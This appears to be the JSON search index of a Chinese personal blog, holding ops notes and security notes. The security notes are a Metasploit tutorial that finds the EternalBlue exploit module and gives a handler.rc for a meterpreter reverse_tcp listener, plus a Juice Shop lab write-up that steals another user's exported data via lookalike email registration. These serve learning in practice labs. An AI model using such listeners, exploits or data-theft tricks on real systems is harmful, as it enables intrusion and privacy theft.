[{"categories":null,"collections":null,"content":"关于「御衡的笔记」这个站点、作者御衡，以及本站的内容方向与联系方式。","date":"2026-09-28","objectID":"/about/","tags":null,"title":"关于","uri":"/about/"},{"categories":null,"collections":null,"content":"关于本站 御衡的笔记 是一个个人笔记站点，内容按四个方向组织： 分类 内容 安全 Web 渗透测试、靶场通关记录（Juice Shop、SQLi-Labs 等）、漏洞原理与复现 运维 Linux 系统管理、Docker 容器化、自建服务的部署与迁移 游戏 游戏相关的折腾记录 随笔 一些零散的想法 写下来的目的很简单：把踩过的坑记成能复用的东西。所以这里更偏\u0026quot;操作记录 + 原理说明\u0026quot;，而不是教程式的完整体系。 ","date":"2026-09-28","objectID":"/about/:1:0","tags":null,"title":"关于","uri":"/about/#关于本站"},{"categories":null,"collections":null,"content":"关于作者 昵称：御衡 GitHub：https://github.com/LeoBenC 邮箱：leo_ben_choi@outlook.com ","date":"2026-09-28","objectID":"/about/:2:0","tags":null,"title":"关于","uri":"/about/#关于作者"},{"categories":null,"collections":null,"content":"御衡的笔记的友情链接。","date":"2026-09-28","objectID":"/friends/","tags":null,"title":"友链","uri":"/friends/"},{"categories":null,"collections":null,"content":"一些我认为可以少走很多弯路的资料推荐：网站、在线教程与书籍。","date":"2026-09-28","objectID":"/picks/","tags":null,"title":"推荐","uri":"/picks/"},{"categories":null,"collections":null,"content":"存放一些我认为可以少走很多弯路的资料推荐，更新会极其缓慢。 ","date":"2026-09-28","objectID":"/picks/:0:0","tags":null,"title":"推荐","uri":"/picks/#"},{"categories":null,"collections":null,"content":"推荐网站 网站名称 个人推荐理由 菜鸟教程 有很多编程语言的入门教程，可以帮你快速入门很多语言，当然，也仅仅入门 网络安全学院 Burp 官方的靶场和教程，免费中的精品 Hello CTF 一个 CTF 入门网站，探姬 老师出品 攻防世界 一个 CTF 靶场，也有一些 CTF 比赛发布 ","date":"2026-09-28","objectID":"/picks/:1:0","tags":null,"title":"推荐","uri":"/picks/#推荐网站"},{"categories":null,"collections":null,"content":"推荐书籍 书名 个人推荐理由 《TCP/IP 详解 卷1：协议》 了解 TCP/IP 协议，养成查询 RFC 的习惯 《Vim 实用技巧 第2版》 Vim 入门的一个选择（不用 Vim 的忽略） 《Pro Git》 我认为这是 Git 入门唯一正解，官方出品 《Linux 命令行与 shell 脚本编程大全》 较于《Linux 就该这么学》、《鸟哥的 Linux 私房菜》，这本书综合性更高，更加适合理解 Linux 系统与 shell；如果实在理解不了这本书，也可以试试后面两本用于入门，再来学习这本书 《深入浅出 Docker（第2版）》 奈吉尔·波尔顿（Nigel Poulton）所著，李晗所译，内容简洁，深入浅出 ","date":"2026-09-28","objectID":"/picks/:2:0","tags":null,"title":"推荐","uri":"/picks/#推荐书籍"},{"categories":null,"collections":null,"content":"常用工具与练习环境的速查清单：每条一行，写清用途、官方入口与我的相关笔记。","date":"2026-09-28","objectID":"/toolbox/","tags":null,"title":"工具箱","uri":"/toolbox/"},{"categories":null,"collections":null,"content":"靶场与练习环境 名称 用途 官方 我的笔记 ","date":"2026-09-28","objectID":"/toolbox/:1:0","tags":null,"title":"工具箱","uri":"/toolbox/#靶场与练习环境"},{"categories":null,"collections":null,"content":"渗透与 Web 安全 名称 用途 官方 我的笔记 ","date":"2026-09-28","objectID":"/toolbox/:2:0","tags":null,"title":"工具箱","uri":"/toolbox/#渗透与-web-安全"},{"categories":null,"collections":null,"content":"运维与自建服务 名称 用途 官方 我的笔记 ","date":"2026-09-28","objectID":"/toolbox/:3:0","tags":null,"title":"工具箱","uri":"/toolbox/#运维与自建服务"},{"categories":null,"collections":null,"content":"命令行与效率 名称 用途 官方 我的笔记 ","date":"2026-09-28","objectID":"/toolbox/:4:0","tags":null,"title":"工具箱","uri":"/toolbox/#命令行与效率"},{"categories":null,"collections":null,"content":"系统与硬件 名称 用途 官方 我的笔记 ","date":"2026-09-28","objectID":"/toolbox/:5:0","tags":null,"title":"工具箱","uri":"/toolbox/#系统与硬件"},{"categories":null,"collections":null,"content":"速查表 名称 用途 官方 我的笔记 ","date":"2026-09-28","objectID":"/toolbox/:6:0","tags":null,"title":"工具箱","uri":"/toolbox/#速查表"},{"categories":null,"collections":null,"content":"快速安装 各工具的官方安装命令（按 shell 分标签页、复制即用）统一维护在这篇文章里 → 快速安装 ","date":"2026-09-28","objectID":"/toolbox/:7:0","tags":null,"title":"工具箱","uri":"/toolbox/#快速安装"},{"categories":["ops"],"collections":null,"content":"简简单单部署个私有 npm 仓库，verdaccio","date":"2026-06-26","objectID":"/posts/2026/verdaccio-deploy/","tags":[],"title":"docker_compose_部署_verdaccio","uri":"/posts/2026/verdaccio-deploy/"},{"categories":["ops"],"collections":null,"content":"简简单单部署个私有 npm 仓库，verdaccio ","date":"2026-06-26","objectID":"/posts/2026/verdaccio-deploy/:0:0","tags":[],"title":"docker_compose_部署_verdaccio","uri":"/posts/2026/verdaccio-deploy/#"},{"categories":["ops"],"collections":null,"content":"docker_compose_部署_verdaccio verdaccio 是什么？ Verdaccio 是一个基于 Node.js 开发的轻量级私有 npm proxy registry（私有 npm 代理注册中心）1。简单来说，它就是可以在你公司内部网络搭建的\u0026quot;私有 npm 仓库\u0026quot;。 它可以让你部署自己的私有npm仓库，而外部无法访问。在私有仓库的基础上也会缓存公共库，做到一个加速的效果 ","date":"2026-06-26","objectID":"/posts/2026/verdaccio-deploy/:0:0","tags":[],"title":"docker_compose_部署_verdaccio","uri":"/posts/2026/verdaccio-deploy/#docker_compose_部署_verdaccio"},{"categories":["ops"],"collections":null,"content":"开始部署 正常简单的 docker-compose ，仅需要一个 docker-compoes.yml 文件就行，但是感觉这个部署的有点抽象，不能直接编写 docker-compoes.yml 然后直接运行，那么下面是它的部署步骤 下载官方的 github 仓库 地址: https://github.com/verdaccio/verdaccio 如果网络好也可以直接 git clone https://github.com/verdaccio/verdaccio.git 找到项目下的 verdaccio\\verdaccio-master\\docker-examples\\v7\\docker-local-storage-volume\\ 文件夹，把里面的东西全部复制出来到一个文件夹里 文件夹内容： 在目录下执行命令启动 docker-compose up -d # or # docker compose up -d 查看部署结果 查看运行情况 xx@xx:~/docker/verdaccio$ docker-compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS verdaccio-docker-local-storage-vol verdaccio/verdaccio:7.x-next \u0026#34;uid_entrypoint /bin…\u0026#34; verdaccio About an hour ago Up About an hour (unhealthy) 0.0.0.0:4873-\u0026gt;4873/tcp, [::]:4873-\u0026gt;4873/tcp 存在，部署成功，可以访问 IP:4873 进行下一步的设置了 ","date":"2026-06-26","objectID":"/posts/2026/verdaccio-deploy/:1:0","tags":[],"title":"docker_compose_部署_verdaccio","uri":"/posts/2026/verdaccio-deploy/#开始部署"},{"categories":["ops"],"collections":null,"content":"注册与代理 进入浏览器，访问 verdaccio 跟着右上角齿轮里面的这几行设置即可 ","date":"2026-06-26","objectID":"/posts/2026/verdaccio-deploy/:2:0","tags":[],"title":"docker_compose_部署_verdaccio","uri":"/posts/2026/verdaccio-deploy/#注册与代理"},{"categories":["ops"],"collections":null,"content":"第一次随便用用，然后就需要迁移了( ╯□╰ )","date":"2026-06-25","objectID":"/posts/2026/gitlab-docker-migrate/","tags":[],"title":"GitLab docker compose 部署迁移【本地映射版】","uri":"/posts/2026/gitlab-docker-migrate/"},{"categories":["ops"],"collections":null,"content":"第一次随便用用，然后就需要迁移了( ╯□╰ ) ","date":"2026-06-25","objectID":"/posts/2026/gitlab-docker-migrate/:0:0","tags":[],"title":"GitLab docker compose 部署迁移【本地映射版】","uri":"/posts/2026/gitlab-docker-migrate/#"},{"categories":["ops"],"collections":null,"content":"GitLab docker compose 部署迁移【本地映射版】 首先我们进行 GitLab docker compose 部署，以下是docker compose（vlumes为随机生成） services: gitlab: image: gitlab/gitlab-ee:18.9.7-ee.0 container_name: gitlab restart: always hostname: \u0026#39;https://gitlab.example.com\u0026#39; environment: GITLAB_OMNIBUS_CONFIG: | # Add any other gitlab.rb configuration here, each on its own line external_url \u0026#39;https://gitlab.example.com\u0026#39; ports: - \u0026#39;80:80\u0026#39; - \u0026#39;443:443\u0026#39; - \u0026#39;22:22\u0026#39; volumes: - \u0026#39;cf24c157d0cac6f68e7a4b13920760fe953b4e0f17723625eb76f83a3ca10e1d:/etc/gitlab\u0026#39; - \u0026#39;8a130bf14966991beddf5716e605f2832c32ed543fb7a7310f0252b5bc495b36:/var/log/gitlab\u0026#39; - \u0026#39;7a77a9481799976e97d4ad246fa70c19705f1fa5e864e4e29436abd8f3440702:/var/opt/gitlab\u0026#39; 在日常使用的时候，我们第一次部署可能会遇到，也有可能一开始使用了 docker run 进行容器使用，然后发现需要进行修改，进行卷迁移的情况 需要迁移机器 需要更改本地映射的位置 需要备份之类的情况 查看挂载信息 docker inspect gitlab --format=\u0026#39;{{json .Mounts}}\u0026#39; | python3 -m json.tool 停止容器 docker compose stop # or #docker-compose stop # or #docker stop gitlab 那么这个是一个本地映射的迁移方式 我们找到 volumes 的目录，也就是以上 .github 的位置，然后 mv 或者 cp 到需要迁移的位置，也可以使用 rsync ，达到目的即可 # 配置数据 sudo rsync -avP /var/lib/docker/volumes/cf24c157d0cac6f68e7a4b13920760fe953b4e0f17723625eb76f83a3ca10e1d/_data/ ./gitlab_config/ # 日志数据 sudo rsync -avP /var/lib/docker/volumes/8a130bf14966991beddf5716e605f2832c32ed543fb7a7310f0252b5bc495b36/_data/ ./gitlab_logs/ # 主数据（仓库、DB等） sudo rsync -avP /var/lib/docker/volumes/7a77a9481799976e97d4ad246fa70c19705f1fa5e864e4e29436abd8f3440702/_data/ ./gitlab_data/ 然后更改 volumes 这一块配置 volumes: - \u0026#39;cf24c157d0cac6f68e7a4b13920760fe953b4e0f17723625eb76f83a3ca10e1d:/etc/gitlab\u0026#39; - \u0026#39;8a130bf14966991beddf5716e605f2832c32ed543fb7a7310f0252b5bc495b36:/var/log/gitlab\u0026#39; - \u0026#39;7a77a9481799976e97d4ad246fa70c19705f1fa5e864e4e29436abd8f3440702:/var/opt/gitlab\u0026#39; 把冒号前面的 .gitlab 改为目的位置，比如 volumes: - \u0026#39;./gitlabs/config:/etc/gitlab\u0026#39; - \u0026#39;./gitlabs/logs:/var/log/gitlab\u0026#39; - \u0026#39;./gitlabs/data:/var/opt/gitlab\u0026#39; 更改后的docker compose 配置 services: gitlab: image: gitlab/gitlab-ee:18.9.7-ee.0 container_name: gitlab restart: always hostname: \u0026#39;https://gitlab.example.com\u0026#39; environment: GITLAB_OMNIBUS_CONFIG: | # Add any other gitlab.rb configuration here, each on its own line external_url \u0026#39;https://gitlab.example.com\u0026#39; ports: - \u0026#39;80:80\u0026#39; - \u0026#39;443:443\u0026#39; - \u0026#39;22:22\u0026#39; volumes: - \u0026#39;./gitlabs/config:/etc/gitlab\u0026#39; - \u0026#39;./gitlabs/logs:/var/log/gitlab\u0026#39; - \u0026#39;./gitlabs/data:/var/opt/gitlab\u0026#39; 启动容器 docker compose up -d 完成迁移 ","date":"2026-06-25","objectID":"/posts/2026/gitlab-docker-migrate/:0:0","tags":[],"title":"GitLab docker compose 部署迁移【本地映射版】","uri":"/posts/2026/gitlab-docker-migrate/#gitlab-docker-compose-部署迁移本地映射版"},{"categories":["security"],"collections":null,"content":"MSF 入门的方式（之一？）","date":"2026-06-21","objectID":"/posts/2026/msf-search/","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/"},{"categories":["security"],"collections":null,"content":"MSF 入门的方式（之一？） ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:0:0","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#"},{"categories":["security"],"collections":null,"content":"起 我在过去的一部分时间学习过MSF，却一直感觉自己根本不会使用MSF这个工具，如果我需要某个功能该如何使用？如果没有教程，现在我需要使用某个功能，那么如何在海量的功能里面找到那一个自己需要的功能？ 在昨天打内网靶场的时候，突然感觉自己拿到了 MSF 使用中最重要的一块拼图： search ，突然就可以较为轻松的使用 MSF 了……我认为 serach 才是 MSF 真正入门的方式（之一？） ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:1:0","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#起"},{"categories":["security"],"collections":null,"content":"始 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:2:0","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#始"},{"categories":["security"],"collections":null,"content":"官网的一个入门例子 那么开始，入门一个工具，最快的方式是到它的官网看看有没有 demo ，可以看看 入门 ，官网给出的示例如下： msf \u0026gt; search type:auxiliary http html title tag Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/title normal No HTTP HTML Title Tag Content Grabber 这个官网的入门，实际上就使用了 search 进行查找，不过这个官网是使用 search 搜索了搜索模块的描述（Description）部分，从而找到了 auxiliary/scanner/http/title 模块路径，这个时候可以使用 use 0 和 use auxiliary/scanner/http/title 来使用模块，接下来就是查看当前可以配置的内容，以及 run 了 这一套流程下来就是 搜索需要的模块或功能关键字 加载模块 配置模块 run ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:2:1","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#官网的一个入门例子"},{"categories":["security"],"collections":null,"content":"经典例子 ms17-010 上面是官网的例子，那么我再举一个例子吧，使用 ms17-010 （经典010） 首先，在信息收集过程中，发现了某个主机开放了 139 和 445 端口，那么有经验的同学就会想到永恒之蓝（EternalBlue），或者 MS17-010，通过这个就能搜索到 永恒之蓝的辅助或者利用模块，如下 msf \u0026gt; search EternalBlue Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 \\_ target: Automatic Target . . . . 2 \\_ target: Windows 7 . . . . 3 \\_ target: Windows Embedded Standard 7 . . . . 4 \\_ target: Windows Server 2008 R2 . . . . 5 \\_ target: Windows 8 . . . . 6 \\_ target: Windows 8.1 . . . . 7 \\_ target: Windows Server 2012 . . . . 8 \\_ target: Windows 10 Pro . . . . 9 \\_ target: Windows 10 Enterprise Evaluation . . . . --- 略 --- 好，到此先停一下，现在我们会有一些疑问，比如， exploit/windows/smb/ms17_010_eternalblue 每个目录代表什么？如何确定我们需要使用哪一个？列出来的每一列代表什么？那么可以开始下面的内容了。 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:2:2","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#经典例子-ms17-010"},{"categories":["security"],"collections":null,"content":"理解基础结构 这个是不可缺少的一环，如果要理解如何使用 MSF ，至少要看懂目前显示的内容，在使用 search 进行搜索之后，显示到终端的内容 首先我们来到 msf 的 modules 目录，以下是 kali 中 msf 的 modules 文件位置 ┌──(root㉿kali)-[~] └─# cd /usr/share/metasploit-framework/modules ┌──(root㉿kali)-[/usr/share/metasploit-framework/modules] └─# ls -lh total 32K drwxr-xr-x 21 root root 4.0K Jun 18 03:04 auxiliary drwxr-xr-x 12 root root 4.0K Jun 18 03:04 encoders drwxr-xr-x 4 root root 4.0K Jun 18 03:04 evasion drwxr-xr-x 21 root root 4.0K Jun 18 03:04 exploits drwxr-xr-x 15 root root 4.0K Jun 18 03:04 nops drwxr-xr-x 6 root root 4.0K Jun 18 03:04 payloads drwxr-xr-x 14 root root 4.0K Jun 18 03:04 post -rw-r--r-- 1 root root 434 Feb 26 10:14 README.md ┌──(root㉿kali)-[/usr/share/metasploit-framework/modules] └─# cat README.md This is the folder where all of Metasploit\u0026#39;s modules live. These modules are scripts in Ruby that interface with Metasploit itself to perform some specific task. There are various types of modules, such as `exploit` modules to exploit a vulnerability and gain a shell, `auxiliary` to perform a non-shell gaining activity, `payloads` for Metasploit\u0026#39;s various payloads (which are also modules), and `post` for post exploitation modules. 这里列出了 MSF 的各个模块，当前目录下也有 README.md 文件进行说明（ README.md 文件没有的以下也说明功能） auxiliary 模块用于执行非 shell 获取操作，用于辅助操作 encoders 对 payload 进行编码，目的是绕过杀毒软件（AV）或 IDS/IPS 的检测 evasion 专门用于生成绕过杀毒软件检测的攻击载荷 exploit 模块用于利用漏洞并获取 shell nops 生成 NOP 指令（空操作指令，如 x86 的 0x90） payloads 模块用于存放 Metasploit 的各种有效载荷（这些有效载荷也是模块） post 模块用于后渗透攻击 那么回到样例 1（这里使用截图，复制的内容看不到高亮，且没使用 type:auxiliary 参数，这是可选的） 这是想要使用网站 title 的搜索模块，然后使用 search 搜索了关键字 http html title tag ，刚好命中 Description，从 Name 部分来看，这个是一个 辅助模块（auxiliary） ，是一个 扫描器（scanner） ，使用http 协议 ， 功能 是请求取 \u0026lt;title\u0026gt; 标签 那么开始解释回显的内容 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:3:0","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#理解基础结构"},{"categories":["security"],"collections":null,"content":"# \u0026ndash; 序号 这里是列出来的内容的序号，从 0 开始，可以在 search 查询之后直接使用 use number 进行模块的加载 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:3:1","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#--序号"},{"categories":["security"],"collections":null,"content":"Name \u0026ndash; 模块完整路径 这里是 search 匹配到的模块的完整路径，可以使用 use 0 ，也可以使用 auxiliary/scanner/http/title 加载模块 它的命名规则可以以后再了解，本文主要是入门使用 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:3:2","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#name--模块完整路径"},{"categories":["security"],"collections":null,"content":"Disclosure Date \u0026ndash; 漏洞公开日期 只有 exploit 模块（漏洞利用）才有具体日期，例如 2017-03-14 其他的模块都是 . 或 blank ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:3:3","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#disclosure-date-漏洞公开日期"},{"categories":["security"],"collections":null,"content":"Check \u0026ndash; 是否支持检测（check 命令） 如果这里是 YES 那么支持在模块加载配置之后执行一个 check 命令进行检测，而不是直接利用 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:3:4","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#check-是否支持检测check-命令"},{"categories":["security"],"collections":null,"content":"Description \u0026ndash; 简要描述 一句话说明这个模块的功能 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:3:5","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#description--简要描述"},{"categories":["security"],"collections":null,"content":"search 的参数 在前面官网的入门例子里面，search 用了一个 type:auxiliary 参数 在 MSF 里面输入 search 可以看到帮助内容，里面就有 type 参数，用于限定模块类型 入门可以不使用任何限定参数，仅靠关键字叠加即可正常使用 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:4:0","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#search-的参数"},{"categories":["security"],"collections":null,"content":"接下来 创建自己的笔记文件，用于记录一些常用的模块，比如监听器 use exploit/multi/handler ，适合记录到自己的笔记里面，也可以写入到一个 .rc 文件里面作为一个 msf 脚本使用，比如以下 handler.rc 文件内容，就是启动一个监听器 use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp set LHOST 192.168.204.129 set LPORT 4444 exploit -j 执行方式如下 msfconsole -r handler.rc 可以把一些执行过程收集起来，简化操作 End ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:5:0","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#接下来"},{"categories":["security"],"collections":null,"content":"参考 MSF 作战手册及联动 CobaltStrike MSF 官方文档 metasploit modules 文档 ","date":"2026-06-21","objectID":"/posts/2026/msf-search/:6:0","tags":["安全"],"title":"MSF 入门从 search 开始","uri":"/posts/2026/msf-search/#参考"},{"categories":["ops"],"collections":null,"content":"不重启怎么刷新 Linux 磁盘显示？","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/"},{"categories":["ops"],"collections":null,"content":"不重启怎么刷新 Linux 磁盘显示？ ","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/:0:0","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/#"},{"categories":["ops"],"collections":null,"content":"📝不重启Linux 手动触发 SCSI 总线扫描，刷新 /dev 磁盘列表 什么时候需要这样做？ 在虚拟机或物理服务器上添加了新磁盘，但 lsblk 、fdisk -l 看不到。 给现有磁盘（如 /dev/sdb）扩容了后端存储空间，但 Linux 看到的还是旧大小。 不想重启系统，又不想装额外工具（如 sg3_utils），只想快速让内核重新识别磁盘。 ","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/:0:0","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/#不重启linux-手动触发-scsi-总线扫描刷新-dev-磁盘列表"},{"categories":["ops"],"collections":null,"content":"核心原理 通过向 /sys/class/scsi_host/hostX/scan 写入 - - -，告诉 SCSI 子系统重新扫描该通道上的所有设备，内核就会刷新磁盘列表。 ","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/:0:0","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/#核心原理"},{"categories":["ops"],"collections":null,"content":"⚡ 操作步骤 查看当前所有的 SCSI 主机 ls /sys/class/scsi_host/ 输出类似： host0 host1 host2 对每个 host 执行扫描 可以逐个执行： echo \u0026#34;- - -\u0026#34; | sudo tee /sys/class/scsi_host/host0/scan echo \u0026#34;- - -\u0026#34; | sudo tee /sys/class/scsi_host/host1/scan 或者一条命令批量搞定所有 host： for host in /sys/class/scsi_host/host*; do echo \u0026#34;- - -\u0026#34; | sudo tee $host/scan; done 立刻检查是否生效 lsblk # 或者 sudo fdisk -l | grep \u0026#34;Disk /dev/\u0026#34; 新添加的磁盘（例如 sdb）或扩容后变大的磁盘应立刻出现。 ","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/:0:0","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/#-操作步骤"},{"categories":["ops"],"collections":null,"content":"💎 如果只需要刷新磁盘大小（分区不变） 磁盘已存在，只是后端 LUN 变大，需要更新内核识别的容量： echo 1 | sudo tee /sys/block/sdb/device/rescan 然后运行 lsblk /dev/sdb 确认 SIZE 已增大。 ","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/:0:0","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/#-如果只需要刷新磁盘大小分区不变"},{"categories":["ops"],"collections":null,"content":"📌 注意事项 这是一个在线操作，不会影响现有磁盘数据，非常安全。 如果扫描后依然看不到新磁盘，请检查： 虚拟机设置中是否真的添加了硬盘（VMware「添加硬盘」、VirtualBox「添加虚拟硬盘」）。 物理机的线缆、RAID 卡是否已经识别新盘（可进入 BIOS 或 RAID 管理界面查看）。 某些老旧系统（如 RHEL 6）可能需要重启，但当前主流发行版（Ubuntu 20.04+，CentOS 7+）都支持此方法。 ","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/:0:0","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/#-注意事项"},{"categories":["ops"],"collections":null,"content":"参考 封面图 ","date":"2026-04-27","objectID":"/posts/2026/linux-rescan-scsi/:1:0","tags":[],"title":"不重启Linux 手动触发 SCSI 总线扫描，刷新 `/dev` 磁盘列表","uri":"/posts/2026/linux-rescan-scsi/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析订单追踪接口的响应，发现邮箱地址的元音字符被替换为星号的规律，构造与目标用户相似的邮箱地址，欺骗数据导出功能获取他人的个人数据。","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据 ","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:0:0","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#juice-shop-gdpr-data-theft利用订单追踪接口的信息泄露窃取他人数据"},{"categories":["security"],"collections":["juice-shop"],"content":"任务简报 🎯 挑战目标\r将他人的个人资料偷走而不使用注入。\r💡 官方提示 (Hints)\r1. 欺骗数据导出功能，以提供给您更多实际不属于您的东西。 2. 你不应该试图窃取从未在该商店下过单的普通用户的数据。 3. 由于该数据导出功能的所有操作均在服务器端完成，因此无法通过篡改 HTTP 请求来解决此问题。 4. 检查包含用户特定数据的各种服务器响应，可能会让你发现开发人员犯的错误。\r","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:1:0","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"实战 ","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:2:0","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#实战"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：触发订单追踪请求 登录账户 购买任意一个商品 进入数据导出页面 使用 Burp Suite 抓包，在 HTTP 历史记录中找到订单追踪请求： GET /rest/track-order/1e6f-c4fd320e33405cac HTTP/1.1 Host: 127.0.0.1:3000 ","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:2:1","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#步骤1触发订单追踪请求"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：分析响应中的邮箱泄露 分析 /rest/track-order/ 接口的响应，发现邮箱字段中的元音字符被替换为 * 号： 还原规则： 元音字母 a e i o u → * *dm*n@j**c*-sh.*p ↓ 还原元音 admin@juice-sh.op 结论： 目标邮箱为 admin@juice-sh.op。 ","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:2:2","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#步骤2分析响应中的邮箱泄露"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：构造相似邮箱 由于应用使用元音替换来混淆邮箱，我们注册一个将元音替换为相同字符的邮箱来欺骗数据导出功能： 目标邮箱: admin@juice-sh.op 注册邮箱: edmin@juice-sh.op 原理： admin@juice-sh.op → 元音替换 → *dm*n@j**c*-sh.*p edmin@juice-sh.op → 元音替换 → *dm*n@j**c*-sh.*p 两个邮箱替换后的结果完全相同！ 数据导出功能无法区分这两个邮箱 ✅ ","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:2:3","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#步骤3构造相似邮箱"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：注册并导出数据 注册新账户，邮箱使用 edmin@juice-sh.op 登录该账户 访问数据导出功能，导出个人数据 结果： 成功获取 admin@juice-sh.op 的个人数据，挑战完成！🎉 ","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:2:4","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#步骤4注册并导出数据"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 - GDPR Data Theft ","date":"2026-04-19","objectID":"/posts/2026/juice-shop-gdpr-data-theft/:3:0","tags":["juice-shop","GDPR","信息泄露","数据导出","隐私安全"],"title":"【juice-shop】★★★★ GDPR Data Theft：利用订单追踪接口的信息泄露窃取他人数据","uri":"/posts/2026/juice-shop-gdpr-data-theft/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过访问 FTP 目录发现错误放置的 SIEM 签名文件 suspicious_errors.yml，利用 Null Byte 